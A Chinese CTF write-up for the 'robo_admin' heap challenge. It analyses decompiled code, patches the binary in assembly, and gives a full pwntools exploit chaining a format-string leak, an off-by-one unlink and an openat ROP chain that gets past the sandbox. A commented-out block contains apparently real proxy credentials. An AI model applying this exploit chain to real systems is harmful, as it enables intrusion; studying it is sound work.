小总结(可以不看)
第一次去线下就爆零了,师兄拼尽全力还没带动我,唉。这个题我前面上通防发现修复失败,然后试了把那个fmt的printf改成puts还是修复失败,后面想了好久还是没想出来,后面看题才发现要输出那个字符串,当时我还不太会写这种执行自己写代码的patch,只会在原有的代码上修修补补,所以就没patch出来。因为感觉patch比attack简单,我没patch出来之后才开始去想怎么attack,此时不论是时间还是心态都不太行了,而且这题的攻击思路我之前还是没见过(并不是很难,但有点不好想)。所以爆零了,还是我实力不行啊,当时还不会ida的各种操作以及写自己代码然后跳转过去执行,只能说还得多练。
robo_admin
源码解析与patch
这题其实不算很难,这题保护全开,然后沙箱禁了execve及其变体和open,但解题之前肯定要看懂这个程序在干嘛。先简单重命名一下这些函数和变量,看的好受一点,第一个主菜单:

前面有几个初始化的函数,要注意看的就是这个
void *init()
{void *result; // raxint n7; // [rsp+Ch] [rbp-4h]for ( n7 = 0; n7 <= 7; ++n7 ){if ( list[n7] ){free(list[n7]);list[n7] = 0;}sizeee[n7] = 0;}memset(&s_, 0, 0xC0u);memset(useflag, 0, 8u);result = memset(s__1, 0, 0x100u);noteflag = 0;dword_52C4 = 0;flag1 = 0;p_rand = 0;rand = 0;return result;
}
可以看见他free了很多堆块,这个后面有用。
其他的函数简单来说就是初始化沙箱,然后获取随机数放在bss段上作为登入的密码,然后puts各个字符串。
我们看看setnote:

很简单,就是输入一些note,然后检查note里有没有$和%,如果有就直接退出,如果没有就会解码,解码后会复制到全局变量s_1上,我们看看解码:
__int64 __fastcall decode(__int64 p_s, __int64 p_src, unsigned __int64 n256)
{__int64 v4; // rax__int64 v5; // raxint v7; // [rsp+20h] [rbp-18h]int v8; // [rsp+24h] [rbp-14h]__int64 v9; // [rsp+28h] [rbp-10h]__int64 i; // [rsp+30h] [rbp-8h]v9 = 0;for ( i = 0; *(p_s + i); ++i ){if ( n256 <= v9 + 1 )return 0xFFFFFFFFLL;if ( *(p_s + i) == '\\' && *(i + 1 + p_s) == 'x' ){v7 = sub(*(i + 2 + p_s));v8 = sub(*(i + 3 + p_s));if ( v7 < 0 || v8 < 0 )return 0xFFFFFFFFLL;v4 = v9++;*(p_src + v4) = v8 | (16 * v7);#比如说输入的是\x23,那v7就是2,v8就是3i += 3;}else{v5 = v9++;*(v5 + p_src) = *(p_s + i);}}*(p_src + v9) = 0;return 0;
}
__int64 __fastcall sub(char n47)
{if ( n47 > 47 && n47 <= 57 )#ascii码的0-9return (n47 - 48);#数字的0-9if ( n47 > 96 && n47 <= 102 )#ascii码的a-freturn (n47 - 87);#0xa-0xfif ( n47 <= 64 || n47 > 70 )#超出范围直接返回errorreturn 0xFFFFFFFFLL;return (n47 - 55);#9-0xf
}
可以看见就是循环处理我们的输入,如果有\和x就进入sub函数,sub函数简单来说就是把我们输入的ascii码变成数字,以便后续计算,总的来说这个程序就是把转移字符变成本来的字符,比如\x25就是%,如果没有\x就正常写入。所以这里如果是attack我们就只需要把%和$变成转移字符输入就可以输入格式化字符串了。然后我们看看show
unsigned __int64 __fastcall show(__int64 p_nptr, __int64 n16)
{__int64 v2; // rdx__int64 v3; // rcx__int64 v4; // r8__int64 v5; // r9__int64 p_rand; // [rsp+0h] [rbp-40h]__int64 rand; // [rsp+8h] [rbp-38h]_QWORD STACK_ANCHOR_[2]; // [rsp+10h] [rbp-30h] BYREF__int64 v10; // [rsp+20h] [rbp-20h]__int64 v11; // [rsp+28h] [rbp-18h]unsigned __int64 v12; // [rsp+38h] [rbp-8h]v12 = __readfsqword(0x28u);p_rand = ::p_rand;rand = ::rand;strcpy(STACK_ANCHOR_, "STACK_ANCHOR");BYTE5(STACK_ANCHOR_[1]) = 0;HIWORD(STACK_ANCHOR_[1]) = 0;v10 = 0;v11 = 0;puts("=== Robo Admin Status ===");puts("Robot core: online");puts("Task queue: healthy");printf("Notice: ");if ( noteflag ){if ( dword_52C4 ){printf("%s", s__1);}else{dword_52C4 = 1;printf(s__1, n16, v2, v3, v4, v5, p_rand, rand, STACK_ANCHOR_[0], STACK_ANCHOR_[1], v10, v11);#fmt}puts(&s__2);}else{puts("(empty)");}return v12 - __readfsqword(0x28u);
}
可以看见下面那个printf非常明显,我们的s__1就是我们输入的,他作为第一个参数就有格式化字符串漏洞了,这里还非常好心地把随机数放在栈上了。然后我们看看login
__int64 login()
{char s[8]; // [rsp+0h] [rbp-100h] BYREF__int64 v2; // [rsp+8h] [rbp-F8h]__int64 v3; // [rsp+10h] [rbp-F0h]__int64 v4; // [rsp+18h] [rbp-E8h]__int64 v5; // [rsp+20h] [rbp-E0h]char s1[8]; // [rsp+30h] [rbp-D0h] BYREF__int64 v7; // [rsp+38h] [rbp-C8h]__int64 v8; // [rsp+40h] [rbp-C0h]__int64 v9; // [rsp+48h] [rbp-B8h]__int64 v10; // [rsp+50h] [rbp-B0h]__int64 v11; // [rsp+58h] [rbp-A8h]__int64 v12; // [rsp+60h] [rbp-A0h]__int64 v13; // [rsp+68h] [rbp-98h]char buf_[8]; // [rsp+70h] [rbp-90h] BYREF__int64 v15; // [rsp+78h] [rbp-88h]__int64 v16; // [rsp+80h] [rbp-80h]__int64 v17; // [rsp+88h] [rbp-78h]__int64 v18; // [rsp+90h] [rbp-70h]__int64 v19; // [rsp+98h] [rbp-68h]__int64 v20; // [rsp+A0h] [rbp-60h]__int64 v21; // [rsp+A8h] [rbp-58h]__int64 v22; // [rsp+B0h] [rbp-50h]__int64 v23; // [rsp+B8h] [rbp-48h]__int64 v24; // [rsp+C0h] [rbp-40h]__int64 v25; // [rsp+C8h] [rbp-38h]__int64 v26; // [rsp+D0h] [rbp-30h]__int64 v27; // [rsp+D8h] [rbp-28h]__int64 v28; // [rsp+E0h] [rbp-20h]__int64 v29; // [rsp+E8h] [rbp-18h]unsigned __int64 v30; // [rsp+F8h] [rbp-8h]v30 = __readfsqword(0x28u);*s1 = 0;v7 = 0;v8 = 0;v9 = 0;v10 = 0;v11 = 0;v12 = 0;v13 = 0;*buf_ = 0;v15 = 0;v16 = 0;v17 = 0;v18 = 0;v19 = 0;v20 = 0;v21 = 0;v22 = 0;v23 = 0;v24 = 0;v25 = 0;v26 = 0;v27 = 0;v28 = 0;v29 = 0;*s = 0;v2 = 0;v3 = 0;v4 = 0;v5 = 0;puts("Token:");read1(s1, 64);puts("Password (32 hex):");read1(buf_, 128);snprintf(s, '(', "%016lx%016lx", p_rand, rand);if ( !strcmp(s1, "ROBOADMIN") && !strcmp(buf_, s) ){puts("[+] login success");return 1;}else{puts("[X] login failed");return 0;}
就是个登入的函数,检查密码和用户名是不是相同,密码是随机数可以用fmt泄露,所以我们肯定能登入进去。
登入进去的菜单就不详细解释了,就是正常的堆的菜单题,没有uaf,这个结构多了名字和size和一个标志。漏洞点在edit
int edit()
{__int64 size_1; // raxunsigned __int64 v1; // r12ssize_t v2; // rbx_QWORD *v3; // raxunsigned int size; // [rsp+Ch] [rbp-24h]size_t size_4; // [rsp+10h] [rbp-20h]ssize_t v7; // [rsp+18h] [rbp-18h]LODWORD(size_1) = getindex();size = size_1;if ( size_1 >= 0 ){if ( useflag[size_1] ){size_1 = pu1up2down("Write length :", 1, sizeee[size_1] + 1LL);#size+1!!size_4 = size_1;if ( size_1 ){puts("New desc bytes:");v7 = read(0, list[size], size_4);if ( v7 > 0 ){if ( sizeee[size] <= v7 ){if ( sizeee[size] )*(list[size] + sizeee[size] - 1LL) = 0;}else{*(list[size] + v7) = 0;}v1 = sizeee[size];v2 = v7;v3 = name(size);if ( v1 <= v7 )v2 = v1;*v3 = v2;LODWORD(size_1) = puts("[+] task updated");}else{LODWORD(size_1) = puts("[X] read failed");}}}else{LODWORD(size_1) = puts("[X] empty");}}return size_1;
}
可以看见我们这个write输入的长度居然是size+1,明显有off by one了。
至此我们整个程序分析的差不多了,我先讲patch再讲attack。patch的话很简单,虽然理论上这两个漏洞(fmt和off by one)修一个就可以了,甚至上通防也可以,但这题不一样,它要你输出对应的字符串

所以这里我们需要自己写函数,在哪写呢?可以选.eh_frame段,为什么选这个段?因为这个段对程序正常执行影响不大,改了影响不会很大,不会说改错了某个地方就执行不了程序了,当然其实也可以自己申请一个段等等,不过因为这个段是不可执行的,我们需要改一下这个段的flag标志,先按ALT +T搜一下EH_FRAME

第一个就是我们要找的路标,我们双击第一行

这里其实eh_frame是第四个,我们把flag改成7或者5即可

接下来的问题就是如果我们写好了代码,应该在哪控制程序跳转过去执行呢?我个人觉得在解码后把note写回栈上的时候跳转好一点,我觉得这里好一点

也就是这个汇编代码
.text:000000000000160E mov [rax], dl
.text:0000000000001610 add qword ptr [rbp-8], 3
.text:0000000000001615 jmp short loc_163B
我们分析可以知道本来的伪c代码就是要把解码后的转义字符写回栈上,dl就是一个8位的寄存器(一个字符),所以我们可以推出汇编的dl里一定是解码后的转义字符,我们把这个mov改成call 我们自己写的代码,然后cmp dl,24h等去比较他是不是$和%就可以实现发现解码后的危险字符了,发现之后我们再写一段代码跳转执行puts打印那串字符即可。思路就是这样,具体操作我也讲一下自己的办法,keypatch这个插件是不能直接对着数据用asm去写汇编的,需要对着指令才行,我们只需要先nop

然后点一下这个区域的开头,然后按c即可

这样我们就可以正常写汇编了,但是我们跳转需要call 一个东西,正常来说是一个名字,当然也可以call [rip+...]这样也可以,这里我们只需要对着这个开头按n,给这个代码块取一个名字就可以了,比如叫check

这样我们想跳转过来执行就可以call check了。后面就是正常写汇编了,字符串随便在这个段上选个地方放就好,用keypatch的change byte再复制16进制的ascii码就好了,代码如下
.text:000000000000160E call loc_3481
.text:0000000000001613 nop
.text:0000000000001614 nop
.eh_frame:0000000000003481
.eh_frame:0000000000003481 loc_3481: ; CODE XREF: sub_1528+E6↑p
.eh_frame:0000000000003481 cmp dl, 24h ; '$'
.eh_frame:0000000000003484 jnz short loc_34A8
.eh_frame:0000000000003486 cmp dl, 25h ; '%'
.eh_frame:0000000000003489 jnz short loc_34A8
.eh_frame:000000000000348B mov [rax], dl
.eh_frame:000000000000348D add qword ptr [rbp-8], 3.eh_frame:00000000000034A8 loc_34A8: ; CODE XREF: .eh_frame:0000000000003484↑j
.eh_frame:00000000000034A8 ; .eh_frame:0000000000003489↑j
.eh_frame:00000000000034A8 mov r10, rdi
.eh_frame:00000000000034AB lea rdi, string ; "[X] decoded input contains illegal char"...
.eh_frame:00000000000034B2 call _puts
.eh_frame:00000000000034B7 mov rdi, r10
.eh_frame:00000000000034BA jmp loc_1617
写完保存一下就好了

这里因为我写的代码是如果检测到%或者$直接不让输入了,所以改不改那个printf都可以,因为他写不了格式化字符串,没改也没事,当然如果实在害怕就可以把call _printf改成call puts,运行效果如下

Attack
我们要登入进去才可以对堆块进行操作,而我们恰好有格式化字符串,所以可以用格式化字符串把登入的密码,pie基地址,libc基地址(这里也可以泄露栈地址,我就先不泄露等后面用环境变量了),泄露完之后我们就可以登入进去了,登入进去之后还记得初始化的时候程序free了很多堆块么,我们在输入的时候gdb下断点看看

可以看到tcache有一些链表是满的(7个),这时我们如果再释放一个堆,如果不进fastbin的话就会直接进unsortedbin,而且我们这里还有一个off by one,这样我们只要能登入进去就可以打unlink,就可以在bss段上堆的链表内写环境变量,然后再用list函数泄露出栈地址,然后再往栈上写orw,禁了open可以用opennat。
总体思路就是这样,具体实现的时候记得off by one改堆块的大小的时候要保证这个堆块物理相邻的堆块的size位要布局好,不然是free不了我们改完大小的堆块的。这里好像我用0xd8的输入大小还是不太够,所以我就先调用read再往栈上写了一个rop链,exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
#context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
'''
socks.set_default_proxy(socks.SOCKS5,"81.dart.ccsssc.com",25790,username="1nkvap1o",password="cl330rd",rdns=True
)
socket.socket = socks.socksocket
'''
flag = 0
if flag:p = remote('1')
else:p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s).encode())
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():pay=p64(0)+p64(0)+p64(1)return pay
def ph(s):print(hex(s))
def dbg():#context.terminal = ['tmux', 'splitw', '-h']gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'pause()
def setnote(s):ru(b"> ")slr(1)sl(s)
def show():ru(b"> ")slr(2)ru(b"Notice: ")
def login(a):ru(b"> ")slr(3)ru(b"Token:")sl(b"ROBOADMIN")ru(b"Password (32 hex):")sd(a)ru(b"[+] login success")
def add(d,s):ru(b"> ")slr(1)ru(b"Index:")slr(d)ru(b"Task name:")sl(b'firefly')ru(b"Desc size:")slr(s)
def edit(d,s,a):ru(b"> ")slr(2)ru(b"Index:")slr(d)ru(b"Write length :")slr(s)ru(b"New desc bytes:")sd(a)
def free(s):ru(b"> ")slr(5)ru(b"Index:")slr(s)
def list():ru(b"> ")slr(4)
#dbg()
setnote(b'\\x256\\x24p.\\x257\\x24p.\\x2515\\x24p.\\x2523\\x24p.')#这里也可以用rb'\x24'去替换b'\\'
show()
a,b,pie,libcbase,d=rcl().strip().decode().split('.')
c=a[2:]+b[2:]
pie=i6(pie)-0x2893
libcbase=i6(libcbase)-0x29d90
st=libcbase+libc.sym['environ']
sys=libcbase+0x91316
rdi=libcbase+0x2a3e5
rax=libcbase+0x45eb0
rsi=libcbase+0x2be51
rdb=libcbase+0x904a9#pop rdx;pop rbx;ret
login(c)
tar=pie+0x5140+8
for i in range(8):add(i,0xd8)
edit(1,0xd9,flat(0,0xd0,tar-0x18,tar-0x10)+0xb0*b'b'+p64(0xd0)+b'\xf0')
edit(3,0x10,p64(0)+p64(0xd1))
ph(tar)
free(2)
edit(1,0xd8,p64(0)*2+p64(st)+p64(pie+0x5140))
list()
ru(b'desc=')
stack=u6(6)-0x190
ph(stack)
edit(1,0x18,flat(stack,pie+0x5140)+b'./flag\x00\x00')
pay1=flat(rax,0,rdi,0,rsi,stack+0x50,rdb,0x500,0,sys)
edit(0,0xd8,pay1)
pay=flat(rax,0x101,rdi,0xFFFFFFFFFFFFFF9c,rsi,pie+0x5140+0x10,rdb,0,0,sys,rax,0,rdi,3,rsi,pie+0x5500,rdb,0x100,0,sys,rax,1,rdi,1,rsi,pie+0x5500,rdb,0x100,0,sys)
#dbg()
sd(pay)
ti()
效果如下:

这个题还是要感谢师兄的指点,我确实没想到unlink...,感谢感谢感谢orz。
